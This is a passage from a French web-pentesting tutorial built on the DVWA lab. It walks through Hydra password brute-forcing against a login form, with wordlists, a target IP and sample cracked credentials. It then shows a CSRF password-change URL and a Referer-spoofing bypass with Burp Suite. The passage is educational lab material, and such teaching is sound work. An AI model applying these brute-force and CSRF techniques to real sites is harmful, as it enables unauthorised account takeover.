du fichier)
/usr/share/wordlists/metasploit/http_default_users.txt Fichier contenant les noms d’utilisateurs courants
-P Liste de mots de passe (^PASS^ sera remplacé par chaque
ligne du fichier)
/usr/share/wordlists/rockyou.txt Dictionnaire populaire de mots de passe
192.168.1.26 IP de la cible où tourne DVWA
http-post-form Type de formulaire (ici POST)
/dvwa/login.php Chemin d’accès à la page de login
username=^USER^&password=^PASS^&Login=Login Corps du formulaire
Login failed Indicateur de connexion échouée

📈 Lancement et résultat
Lance la commande depuis ton terminal Kali.
Hydra va commencer à tester toutes les combinaisons.
Un résultat réussi ressemblera à ceci :
[80][http-post-form] host: 192.168.1.26 login: admin password: 123456
✌ Et voilà, identifiants découverts !

📘 Qu’est-ce qu’une attaque CSRF ?
CSRF (Cross-Site Request Forgery) est une attaque où un pirate profite de ta session active sur un
site web (par exemple, tu es connecté à DVWA), pour te faire exécuter une action à ton insu.
Par exemple : changer ton mot de passe, faire un virement, ou modifier ton adresse email.
🎯 L'idée est de te faire cliquer sur un lien piégé, pendant que tu es connecté au site
vulnérable.

🧪 Observer le fonctionnement normal
󰞹 Ce qu’on va faire :
1. Aller sur DVWA > CSRF > Low.
2. Entrer un nouveau mot de passe (par exemple 123) dans les deux champs.
3. Cliquer sur Change.
👉 DVWA accepte la requête
et change ton mot de passe.

🔍 Que se passe-t-il derrière ?
Dans la barre d’adresse, tu peux voir une URL comme
:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=1
23&Change=Change
✅ Il n’y a aucun token de sécurité, aucune vérification.
C’est trop facile à reproduire pour un attaquant.

🧪 Créer le piège (attaque CSRF)
🎭 Le pirate utilise ce qu’il a appris :
Il a compris que pour changer le mot de
passe,
il suffit d’envoyer une requête GET avec :
● password_new
● password_conf
● Change=Change
🧠 Ici, le lien <a> contient l’URL vulnérable :
👉 Quand la victime clique sur le lien, cela
déclenche la requête malveillante.
Si elle est connectée à DVWA, son mot de
passe est modifié automatiquement.
󰞵 Il crée donc un fichier HTML comme ceci :

🛡 Dans DVWA – Niveau Medium : une sécurité est ajoutée
Quand on passe en niveau Medium, le site DVWA ajoute une vérification simple :
✅ Il regarde si la requête vient bien de sa propre page
❗ Comment ? En vérifiant l'en-tête Referer.
🧠 Le Referer, c’est quoi déjà ?
C’est un champ envoyé automatiquement par ton navigateur pour dire :
“Je viens de telle page.”
Exemple : Referer: http://127.0.0.1/dvwa/vulnerabilities/csrf/

🔍 Ce que fait DVWA Medium
Tu cliques sur "Changer le mot de passe" → ton navigateur envoie :
● L'URL avec les paramètres
● Et le champ Referer correct
Le serveur voit :
● "Ah ! La requête vient bien de ma propre page !"
● ✅ Donc il autorise l'action

💣 Problème : cette sécurité est trop faible
Parce que le hacker peut fabriquer une fausse requête et ajouter un faux Referer avec un outil comme Burp Suite.

🧪 Exemple de contournement avec Burp Suite
Ce que le pirate fait :
1. Il intercepte une requête normale avec Burp Suite.
Il modifie l’URL pour mettre ce qu’il veut (ex : changer le mot de passe).
2. Il ajoute manuellement dans l’en-tête :
Referer: http://127.0.0.1/dvwa/vulnerabilities/csrf/
4. Il envoie la requête.
🎯 Résultat : le serveur pense que la requête vient bien de sa propre page, donc…
✅ Il l'accepte.

Pour toute question ou demande de support complémentaire,
n'hésitez pas à me contacter.

Sécurité Web & Pentesting - Approche par Faille OWASP.pdf

Contenu connexe

Similaire à Sécurité Web & Pentesting - Approche par Faille OWASP.pdf (20)

Plus de Jaouad Assabbour (17)

Sécurité Web & Pentesting - Approche par Faille OWASP.pdf